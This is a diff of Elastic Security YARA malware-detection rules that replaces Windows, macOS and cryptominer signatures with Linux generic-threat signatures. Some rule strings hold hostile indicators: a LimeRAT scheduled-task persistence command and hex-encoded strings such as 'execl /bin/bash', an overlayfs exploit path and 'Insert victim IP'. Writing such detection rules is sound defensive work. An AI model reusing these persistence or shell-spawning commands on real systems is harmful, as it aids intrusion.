+		fingerprint = "fedf3b94c22a1dab3916b7bc6a1b88768c0debd6d628b78d8a6610b636f3c652"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { E7 81 6A 12 EA A8 56 6C 86 94 ED F6 E8 D7 35 E1 EC 65 47 BA 8E 46 2C A6 14 5F }
+		$a1 = { 55 89 E5 53 8B 5D 08 B8 0D 00 00 00 CD 80 8B 5D FC 89 EC 5D C3 55 89 E5 53 8B 5D 08 B8 2D 00 00 00 CD 80 8B 5D FC 89 EC 5D C3 55 89 E5 53 8B 5D 08 8B 4D 0C B8 6C 00 00 00 CD 80 8B 5D FC 89 EC }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Attacksimulation_Hovercraft_F5C7178F : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_80Aea077 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Attacksimulation Hovercraft (Windows.AttackSimulation.Hovercraft)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f5c7178f-9a3f-463d-96a7-0a82cbed9ba2"
-		date = "2022-05-23"
-		modified = "2022-07-18"
-		reference = "046645b2a646c83b4434a893a0876ea9bd51ae05e70d4e72f2ccc648b0f18cb6"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_AttackSimulation_Hovercraft.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e707e89904a5fa4d30f94bfc625b736a411df6bb055c0e40df18ae65025a3740"
+		id = "80aea077-c94f-4c95-83a5-967cc16df2a8"
+		date = "2024-01-17"
+		modified = "2024-02-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L42-L60"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "002827c41bc93772cd2832bc08dfc413302b1a29008adbb6822343861b9818f0"
+		logic_hash = "cab860ad5f0c49555adb845504acb4dbeabb94dbc287202be35020e055e6f27b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8965ab173fd09582c9e77e7c54c9722b91b71ecbe42c4f8a8cc87d9a780ffe8c"
-		severity = 1
+		fingerprint = "702953af345afb999691906807066d58b9ec055d814fc6fe351e59ac5193e31f"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "MyHovercraftIsFullOfEels" wide fullword
-		$a2 = "WinHttp.dll" fullword
+		$a1 = { 38 49 89 FE 0F B6 0E 48 C1 E1 18 0F B6 6E 01 48 C1 E5 10 48 09 E9 0F B6 6E 03 48 09 E9 0F B6 6E 02 48 C1 E5 08 48 09 CD 0F B6 56 04 48 C1 E2 18 44 0F B6 7E 05 49 C1 E7 10 4C 09 FA 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Mountlocker_126A76E2 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_2E214A04 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Mountlocker (Windows.Ransomware.Mountlocker)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "126a76e2-8a97-4347-ac36-9437a512e16c"
-		date = "2021-06-10"
-		modified = "2021-08-23"
+		id = "2e214a04-43a4-4c26-8737-e089fbf6eecd"
+		date = "2024-01-17"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Mountlocker.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4a5ac3c6f8383cc33c795804ba5f7f5553c029bbb4a6d28f1e4d8fb5107902c1"
-		logic_hash = "5a5e157a245a75033abbe6bc7aa66fe6af6d91dc30abe1fdadce85f8f3905b1e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L62-L81"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cad65816cc1a83c131fad63a545a4bd0bdaa45ea8cf039cbc6191e3c9f19dead"
+		logic_hash = "0d29aa6214b0a05f9af10cdc080ffa33452156e13c057f31997630cebcda294a"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "08213f4474c7c8fd7a6e59c9ff139fb45f224109ad4e6162c12cff5ac85cb10c"
-		severity = 100
+		fingerprint = "0937f7c5bcfd6f2b327981367684cff5a53d35c87eaa360e90afc9fce1aec070"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "[SKIP] locker.dir.check > black_list name=%s" wide fullword
-		$a2 = "[OK] locker.dir.check > name=%s" wide fullword
-		$a3 = "[ERROR] locker.worm > execute pcname=%s" wide fullword
-		$a4 = "[INFO] locker.work.enum.net_drive > enum finish name=%s" wide fullword
-		$a5 = "[WARN] locker.work.enum.server_shares > logon on server error=%u pcname=%s" wide fullword
+		$a1 = { 49 6E 73 65 72 74 20 76 69 63 74 69 6D 20 49 50 3A 20 }
+		$a2 = { 49 6E 73 65 72 74 20 75 6E 75 73 65 64 20 49 50 3A 20 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Agent64_8Ef48Aeb : FILE
+rule ELASTIC_Linux_Generic_Threat_0B770605 : FILE MEMORY
 {
 	meta:
-		description = "Subject: eSupport.com, Inc OR Phoenix Technologies Ltd, Name: Agent64.sys, Version: 6.0"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "8ef48aeb-56b2-408b-aaf1-b130d7eb1cf4"
-		date = "2022-07-19"
-		modified = "2022-07-19"
+		id = "0b770605-db33-4028-b186-b1284da3e3fe"
+		date = "2024-01-17"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Agent64.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "05f052c64d192cf69a462a5ec16dda0d43ca5d0245900c9fcb9201685a2e7748"
-		hash = "4045ae77859b1dbf13972451972eaaf6f3c97bea423e9e78f1c2f14330cd47ca"
-		logic_hash = "a35f82202507e582e3cbc7018656545fcee1244ec1638a696f0b7c970fd5023c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L83-L102"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "99418cbe1496d5cd4177a341e6121411bc1fab600d192a3c9772e8e6cd3c4e88"
+		logic_hash = "d4aae755870765a119ee7ae648d4388e0786e8ab6f7f196d81c6356be7d0ddfb"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "3eab3bb33b75aec13d91d503a768001fc0da09a41c792904e4a5eab568b4f6f4"
-		threat_name = "Windows.VulnDriver.Agent64"
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "d771f9329fec5e70b515512b58d77bb82b3c472cd0608901a6e6f606762d2d7e"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$subject_name_1 = { 06 03 55 04 03 [2] 50 68 6F 65 6E 69 78 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 20 4C 74 64 }
-		$subject_name_2 = { 06 03 55 04 03 [2] 65 53 75 70 70 6F 72 74 2E 63 6F 6D 2C 20 49 6E 63 }
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 [1-8] 41 00 67 00 65 00 6E 00 74 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
-		$product_version = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E [1-8] 36 00 2E 00 30 }
-		$product_name = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 [1-8] 44 00 72 00 69 00 76 00 65 00 72 00 41 00 67 00 65 00 6E 00 74 }
+		$a1 = { 68 65 79 20 73 63 61 6E 20 72 65 74 61 72 64 }
+		$a2 = { 5B 62 6F 74 70 6B 74 5D 20 43 6F 6D 6D 69 74 74 69 6E 67 20 53 75 69 63 69 64 65 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and any of ($subject_name*) and $original_file_name and $product_version and $product_name
+		all of them
 }
-rule ELASTIC_Macos_Trojan_Genieo_5E0F8980 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_92064B27 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Genieo (MacOS.Trojan.Genieo)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "5e0f8980-1789-4763-9e41-a521bdb3ff34"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "92064b27-f1c7-4b86-afc9-3dcfab69fe0d"
+		date = "2024-01-17"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Genieo.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6c698bac178892dfe03624905256a7d9abe468121163d7507cade48cf2131170"
-		logic_hash = "76b725f6ae5755bb00d384ef2ae1511789487257d8bb7cb61b893226f03a803e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L104-L122"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8e5cfcda52656a98105a48783b9362bad22f61bcb6a12a27207a08de826432d9"
+		logic_hash = "adb9ed7280065f77440bd1e106bc800ebe6251119151cd54b76dc2917b013f65"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f0b5198ce85d19889052a7e33fb7cf32a7725c4fdb384ffa7d60d209a7157092"
-		severity = 100
+		fingerprint = "7a465615646184f5ab30d9b9b286f6e8a95cfbfa0ee780915983ec1200fd2553"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 00 CD 01 1E 68 57 58 D7 56 7C 62 C9 27 3C C6 15 A9 3D 01 02 2F E1 69 B5 4A 11 }
+		$a1 = { 55 89 E5 53 8B 4D 10 8B 5D 08 85 C9 74 0D 8A 55 0C 31 C0 88 14 18 40 39 C1 75 F8 5B 5D C3 90 90 55 89 E5 8B 4D 08 8B 55 0C 85 C9 74 0F 85 D2 74 0B 31 C0 C6 04 08 00 40 39 C2 75 F7 5D C3 90 90 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Genieo_37878473 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_De6Be095 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Genieo (MacOS.Trojan.Genieo)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "37878473-b6f8-4cbe-ba70-31ecddf41c82"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "de6be095-93b6-45da-b9e2-682cea7a6488"
+		date = "2024-01-17"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Genieo.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0fadd926f8d763f7f15e64f857e77f44a492dcf5dc82ae965d3ddf80cd9c7a0d"
-		logic_hash = "bb04ae4e0a98e0dbd0c0708d5e767306e38edf76de2671523f4bd43cbcbfefc2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L124-L143"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2431239d6e60ca24a5440e6c92da62b723a7e35c805f04db6b80f96c8cf9fee6"
+		logic_hash = "cbd7578830169703b047adb1785b05d226f2507a65c203ee344d8e2b3a24f6c9"
 		score = 75
-		quality = 73
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "e9760bda6da453f75e543c919c260a4560989f62f3332f28296283d4c01b62a2"
-		severity = 100
+		fingerprint = "8f2d682401b4941615ecdc8483ff461c86a12c585483e00d025a1b898321a585"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 65 72 6E 61 6C 44 6F 77 6E 4C 6F 61 64 55 72 6C 46 6F 72 42 72 61 6E 64 3A 5D }
+		$a1 = { 2D 2D 66 61 72 6D 2D 66 61 69 6C 6F 76 65 72 }
+		$a2 = { 2D 2D 73 74 72 61 74 75 6D 2D 66 61 69 6C 6F 76 65 72 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Genieo_0D003634 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_898D9308 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Genieo (MacOS.Trojan.Genieo)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "0d003634-8b17-4e26-b4a2-4bfce2e64dde"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "898d9308-86d1-4b73-ae6c-c24716466f60"
+		date = "2024-01-18"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Genieo.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bcd391b58338efec4769e876bd510d0c4b156a7830bab56c3b56585974435d70"
-		logic_hash = "0412f88408fb14d1126ef091d0a5cc0ee2b2e39aeb241bef55208b59830ca993"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L145-L164"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ce89863a16787a6f39c25fd15ee48c4d196223668a264217f5d1cea31f8dc8ef"
+		logic_hash = "8b5deedf18d660d0b76dc987843ff5cc01432536a04ab4925e9b08269fd847e4"
 		score = 75
-		quality = 73
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "6f38b7fc403184482449957aff51d54ac9ea431190c6f42c7a5420efbfdb8f7d"
-		severity = 100
+		fingerprint = "fe860a6283aff8581b73440f9afbd807bb03b86dd9387b0b4ee5842a39ed7b03"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 75 69 6C 64 2F 41 6E 61 62 65 6C 50 61 63 6B 61 67 65 2F 62 75 69 6C 64 2F 73 }
+		$a1 = { 65 63 66 61 66 65 61 62 36 65 65 37 64 36 34 32 }
+		$a2 = { 3D 3D 3D 3D 65 6E 64 20 64 75 6D 70 20 70 6C 75 67 69 6E 20 69 6E 66 6F 3D 3D 3D 3D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Genieo_9E178C0B : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_23D54A0E : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Genieo (MacOS.Trojan.Genieo)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9e178c0b-02ca-499b-93d1-2b6951d41435"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "23d54a0e-f2e2-443e-832c-d57146350eb6"
+		date = "2024-01-18"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Genieo.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b7760e73195c3ea8566f3ff0427d85d6f35c6eec7ee9184f3aceab06da8845d8"
-		logic_hash = "212f96ca964aceeb80c6d3282d488cfbb74aeffb9c0c9dd840a3a28f9bbdcbea"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L166-L185"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a2b54f789a1c4cbed13e0e2a5ab61e0ce5bb42d44fe52ad4b7dd3da610045257"
+		logic_hash = "7e52eaf9c49bd6cbdb89b0c525b448864e1ea55d00bc052898613174fe5956cc"
 		score = 75
-		quality = 73
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "b00bffbdac79c5022648bf8ca5a238db7e71f3865a309f07d068ee80ba283b82"
-		severity = 100
+		fingerprint = "4ff521192e2061af868b9403479680fd77d1dc71f181877a36329f63e91b7c66"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 4D 49 70 67 41 59 4B 6B 42 5A 59 53 65 4D 6B 61 70 41 42 48 4D 5A 43 63 44 44 }
+		$a1 = { 29 2B 2F 30 31 3C 3D 43 4C 4D 50 53 5A 5B }
+		$a2 = { 61 64 78 61 65 73 61 76 78 62 69 6E 63 67 6F 64 69 72 64 6E 73 65 6E 64 66 69 6E 66 6D 61 66 74 70 67 63 20 67 70 20 69 6E 20 69 6E 74 6D 61 70 6E 69 6C 6F 62 6A 70 63 3D 70 74 72 73 65 74 73 68 61 73 73 68 74 63 70 75 64 70 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Limerat_24269A79 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_D7802B0A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Limerat (Windows.Trojan.Limerat)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "24269a79-0172-4da5-9b4d-f61327072bf0"
-		date = "2021-08-17"
-		modified = "2021-10-04"
+		id = "d7802b0a-2286-48c8-a0b5-96af896b384e"
+		date = "2024-01-18"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Limerat.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ec781a714d6bc6fac48d59890d9ae594ffd4dbc95710f2da1f1aa3d5b87b9e01"
-		logic_hash = "053a6abe589db23c4b9baed24729c8bcdd9019535fd0d9efc60ab4035c9779f3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L187-L205"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a2b54f789a1c4cbed13e0e2a5ab61e0ce5bb42d44fe52ad4b7dd3da610045257"
+		logic_hash = "3e1452204fef11d63870af5f143ae73f4b8e5a4db83a53851444fbf8a0ea6a26"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cb714cd787519216d25edaad9f89a9c0ce1b8fbbbcdf90bda4c79f5d85fdf381"
-		severity = 100
+		fingerprint = "105112354dea4db98d295965d4816c219b049fe7b8b714f8dc3d428058a41a32"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr \"'" wide fullword
+		$a1 = { 48 81 EC 88 00 00 00 48 89 AC 24 80 00 00 00 48 8D AC 24 80 00 00 00 49 C7 C5 00 00 00 00 4C 89 6C 24 78 88 8C 24 A8 00 00 00 48 89 9C 24 A0 00 00 00 48 89 84 24 98 00 00 00 C6 44 24 27 00 90 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Iqvw_B8B45E6B : FILE
+rule ELASTIC_Linux_Generic_Threat_08E4Ee8C : FILE MEMORY
 {
 	meta:
-		description = "Name: iQVW64.SYS, Version: 1.4.0.0"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "b8b45e6b-9729-4e0e-ad08-488e1a4306e0"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "08e4ee8c-4dfd-4bb8-9406-dce6fb7bc9ee"
+		date = "2024-01-18"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Iqvw.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9"
-		logic_hash = "b0a8716f550ba231ca7db61bafd6effbc351faa45864f9ebf7be81f63f14a933"
-		score = 60
-		quality = 55
-		tags = "FILE"
-		fingerprint = "eeabf1c506ac6db4de3279a8b03d676f95c6d93dad6ae0173f2adec2dae41b95"
-		threat_name = "Windows.VulnDriver.Iqvw"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L207-L225"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "35eeba173fb481ac30c40c1659ccc129eae2d4d922e27cf071047698e8d95aea"
+		logic_hash = "a927415afbab32adee49a583fc35bc3d44764f87bbbb3497b38af6feb92cd9a8"
+		score = 75
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "5e71d8515def09e95866a08951dd06bb84d327489f000e1c2326448faad15753"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 69 00 51 00 56 00 57 00 36 00 34 00 2E 00 53 00 59 00 53 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x04][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x03][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a1 = { 78 63 72 79 70 74 6F 67 72 61 70 68 79 2D 32 2E 31 2E 34 2D 70 79 32 2E 37 2E 65 67 67 2D 69 6E 66 6F 2F 50 4B 47 2D 49 4E 46 4F }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_57C0C6D7 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_D60E5924 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "57c0c6d7-ded1-4a3e-9877-4003ab46d4a6"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "d60e5924-c216-4780-ba61-101abfd94b9d"
+		date = "2024-01-18"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "100dc1ede4c0832a729d77725784d9deb358b3a768dfaf7ff9e96535f5b5a361"
-		logic_hash = "d3a272d488cebe4f774c994001a14d825372a27f16267bc0339b7e3b22ada8db"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L227-L246"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fdcc2366033541053a7c2994e1789f049e9e6579226478e2b420ebe8a7cebcd3"
+		logic_hash = "012111e4a38c1f901dcd830cc26ef8dcfbde7986fcc8b8eebddb8d8b7a0cec6a"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "b36ef33a052cdbda0db0048fc9da4ae4b4208c0fa944bc9322f029d4dfef35b8"
-		severity = 100
+		fingerprint = "e5c5833e193c93191783b6b5c7687f5606b1bbe2e7892086246ed883e57c5d15"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 78 01 66 0F EF C9 49 89 38 0F BE 00 83 E8 30 F2 0F 2A C8 48 }
+		$a1 = { 2E 2F 6F 76 6C 63 61 70 2F 6D 65 72 67 65 2F 6D 61 67 69 63 }
+		$a2 = { 65 78 65 63 6C 20 2F 62 69 6E 2F 62 61 73 68 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_7E42Bf80 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_6Bed4416 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "7e42bf80-60a4-4d45-bf07-b96a188c6e6b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "6bed4416-18fe-4416-a6ee-89d269922347"
+		date = "2024-01-18"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "551b6e6617fa3f438ec1b3bd558b3cbc981141904cab261c0ac082a697e5b07d"
-		logic_hash = "ad8c8f0081d07f7e2a5400de6af2c6b311f77ff336d7576f7fb0bfe2593a9062"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L248-L266"
